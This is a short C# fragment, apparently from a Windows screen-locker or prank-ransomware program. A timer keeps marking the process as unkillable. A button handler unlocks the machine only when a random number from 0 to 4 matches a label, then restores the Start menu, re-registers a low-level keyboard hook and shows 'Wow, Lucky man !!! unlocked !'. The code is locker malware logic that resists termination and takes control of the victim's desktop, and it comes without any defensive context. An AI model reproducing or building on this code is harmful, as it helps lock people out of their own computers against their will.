private void button1_Click(object sender, EventArgs e) { Random rnd = new Random(); none = rnd.Next(0, 5); label4.Text = none.ToString(); if (label4.Text == label2.Text) { timer1.Stop(); Unkillable.MakeProcessKillable(); ShowStartMenu(); ask = true; intLLKey = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 1); MessageBox.Show(new Form() { TopMost = true }, "Wow, Lucky man !!! \n unlocked !", "GOOD DAY", MessageBoxButtons.OK, MessageBoxIcon.Information); Application.Exit(); } }
private void timer1_Tick(object sender, EventArgs e) { Unkillable.MakeProcessUnkillable(); }